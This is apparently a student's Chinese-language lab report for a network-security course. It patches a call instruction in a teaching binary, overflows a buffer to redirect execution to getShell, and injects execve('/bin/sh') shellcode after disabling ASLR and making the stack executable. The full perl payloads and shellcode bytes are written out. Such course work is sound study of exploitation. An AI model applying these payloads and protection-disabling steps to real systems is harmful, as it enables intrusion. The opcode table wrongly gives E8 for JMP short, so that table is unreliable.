2019-2020-2 网络对抗技术 20175209 Exp1 PC平台逆向破解
一、实验任务
- 手动修改机器指令,改变程序执行流程
- 通过构造输入值,造成BOF攻击,从而改变程序执行顺序
- 注入shellcode并执行
二、问题回答
-
什么是漏洞,漏洞有什么危害?
漏洞就是在计算机硬件、软件、协议、安全策略上存在的缺点。利用这些缺点,攻击者可以对计算机系统进行攻击,从而达到一定的目的。漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。
-
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:90
JNE:75
JE:74
CMP:38~3D
JMP:JMP short:E8
JMP near:E9
JMP word:FF
JMP far:EA -
掌握反汇编器与十六进制编程器
-
反汇编指令
objdump -d <file(s)>: 将代码段反汇编;
objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
objdump -C <file(s)>: 将C++符号名逆向解析
objdump -l <file(s)>: 反汇编代码中插入文件名和行号
objdump -j section <file(s)>: 仅反汇编指定的section - 十六进制编程器:是用来以16进制视图进行文本编辑的工具软件.
-
vim <filename>
以ASCII码形式显示可执行文件的内容 -
:%!xxd
将显示模式切换为16进制模式 -
:%!xxd
将16进制切换回ASCII码模式
-
-
三、实验任务
任务一 手动修改机器指令,改变程序执行流程
实验前先到之前设置好的共享文件夹下的pwn1复制到相应的实验文件夹下并对pwn1进行备份,备份为pwn1.bak
输入指令
objdump -d pwn1 | more
对pwn1
文件进行反汇编- 对反汇编的结果进行分析
- 可以看到
函数的地址为 08048491
,main函数中的call 8048491 <foo>
指令的机器码为e8 d7 ff ff ff
,下一条指令的地址为80484ba
。机器码中的0xffffffd7 = 0x080484ba - 0x08048491
为主函数执行位置和foo函数起始地址的差 - 因此,想要让程序执行到getShell需更改call指令的机器码为相应地址的差,计算地址差为
0x080484ba - 0x0804847d = 0xffffffc3
- 输入指令
vi pwn1
打开以ASCII码显示的文件 - 输入指令
:%!xxd
将文件转换为16进制查看 找到
d7ffffff
位置,输入i
进入插入模式,将d7
修改为c3
- 输入指令
:%!xxd -r
将文件转化为ASCII码形式,保存并退出 此时输入指令
objdump -d pwn1 | more
查看,发现pwn1文件已经被修改了分别运行更改后的pwn1和备份文件pwn1.bak,查看相应结果
- 可以看到
任务二 通过构造输入值,造成BOF攻击,从而改变程序执行顺序
通过反汇编指令查看foo函数中为输入预留的空间
- 计算出实现缓冲区溢出的字符数为
28+4=32
指字节(4为EBP占用的内存空间),我们希望执行getShell函数,因此需要将getShell函数的地址放在返回地址(eip寄存器)处,即33~36字节,接下对猜想进行验证 我们在gdb中输入至少36字节的数据,可以看到给出了
Segmentation fault
的错误提示,同时可以查看到eip寄存器的地址为0x34333231
,验证了将getShell的地址放在33~36字节的猜想- 我们将33~36字节的内容替换为getShell的地址,字符串以ASCII码输入,同时机器为小端法,因此应为
\x7d\x84\x04\x08
前32字节可以任意输入 由于我们无法从键盘输入16进制的值,因此输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
构造输入,我们可以通过cat
和xxd
指令查看我们构造的输入通过管道符
|
,输入命令(cat BOF.1; cat ) | ./pwn2
将构造的输入注入并运行,结果如下:
任务三 注入shellcode并执行
-
确定构造buf的方法
- linux中两种构造buf的方法:
- retaddr+nop+shellcode 主要针对缓冲区小的情况
- nop+shellcode+retaddr 主要针对缓冲区大的情况
- 该任务中我们可以观察到缓冲区的空间并不是很大并不是很大,同时经过老师视频的讲解,我们可以确定应该是采用将shellcode放在后面的方法,因此直接对第一种方法进行测试,结构为:anything+retaddr+nops+shellcode
- linux中两种构造buf的方法:
-
准备工作
- foo函数的局部变量不需要机器码,而我们需要将shellcoode注入缓存区,需先设置设置堆栈可执行
-
execstack -s pwn3
设置堆栈可执行 -
execstack -q pwn3
查询文件的堆栈是否可执行,结果为X表示可执行
-
- linux系统为了防范shellcode的注入攻击,在多次运行程序时寄存器的地址会发生改变,因此需关闭地址随机化
-
more /proc/sys/kernel/randomize_va_space
查看随机化是否关闭 -
echo "0" > /proc/sys/kernel/randomize_va_space
关闭随机化 -
more /proc/sys/kernel/randomize_va_space
再次查看,结果为0证明已关闭
-
- foo函数的局部变量不需要机器码,而我们需要将shellcoode注入缓存区,需先设置设置堆栈可执行
-
构造payload
-
参考老师给出的代码,我们首先构造一个input_shellcode
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- a终端中通过
(cat input_shellcode;cat) | ./pwn3
运行pwn3 在b终端中输入
ps -ef | grep pwn
查看pwn3的进程号- 启用gdb调试并定位pwn3进程
disassemble foo
进行反编译,可以看到ret指令的地址为0x080484ae
,在此处设置断点break *0x080484ae
- 在a终端中按下回车运行, 程序执行到断点停止
- 再在b终端输入
c
继续运行程序 -
info r esp
查看esp寄存器地址 -
x/16x 0xffffd2cc
以16进制形式查看0xffffd34c地址后面16字节的内容 可以观察到
0x01020304
的地址为0xffffd2cc
,因此shellcode注入位置(可以使最先出现0x90的位置)地址为0xffffd2cc+0x00000004=0xffffd2d0
-
-
修改输入并实现shellcode注入
-
修改注入代码的地址
perl -e 'print "A" x 32;print"\xd0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
输入命令
(cat input_shellcode;cat) | ./pwn3
运行发现shellcode注入成功
-
四、实验心得体会
之前都是一直听老师讲课时提到了缓冲区溢出攻击,觉得这应该是是一个很有意思的东西,不过一直没能自己尝试一下。
通过本次实验,我有机会自己能动手操作一下,心情还是很激动的。实际动手的过程中发现比想象中的还是有一点难度的,一些机器码和指令代码的规则已经忘记了,对于缓冲区的存入规则和栈帧也不是特别了解,在实验前根据老师所给的视频资料和码云连接先进行了学习,对缓冲区的大部分内容有了比较清晰的掌握,不过对部分的寄存器的使用还有一些困惑,也参考了一些资料。最终还是比较顺利的完成了这次实验。
通过本次实验,我对缓冲区溢出攻击的原理有了更好的掌握,对栈空间的分配规则和漏洞的产生有了更好的了解,则也对自己的计算机防范积攒了更多的经验,后面还有很多攻击的实验,我也有很大的兴趣,相信自己能更好的完成。